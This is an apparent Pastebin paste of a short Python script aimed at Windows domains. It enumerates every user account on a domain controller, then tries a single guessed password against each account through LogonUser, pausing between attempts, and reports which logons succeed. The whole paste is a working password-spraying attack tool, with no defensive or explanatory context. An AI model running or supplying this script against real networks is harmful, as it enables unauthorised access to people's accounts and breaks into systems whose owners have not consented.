Advertisement
Guest User

Untitled

a guest
Apr 17th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.55 KB | None | 0 0
  1. # author: damirqa
  2.  
  3. import win32net
  4. import win32security
  5. import time
  6.  
  7.  
  8. domain = "domain"
  9. password = "test"
  10. DC = 'server.domain.local'
  11.  
  12. d = win32net.NetUserEnum(DC,3)
  13. names = [x['name'] for x in d[0]]
  14.  
  15. for username in names:
  16. time.sleep(1)
  17. try:
  18. hUser = win32security.LogonUser (
  19. username,
  20. domain,
  21. password,
  22. win32security.LOGON32_LOGON_NETWORK,
  23. win32security.LOGON32_PROVIDER_DEFAULT
  24. )
  25. except win32security.error:
  26. pass
  27. else:
  28. print("Succeeded for %s" % username)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement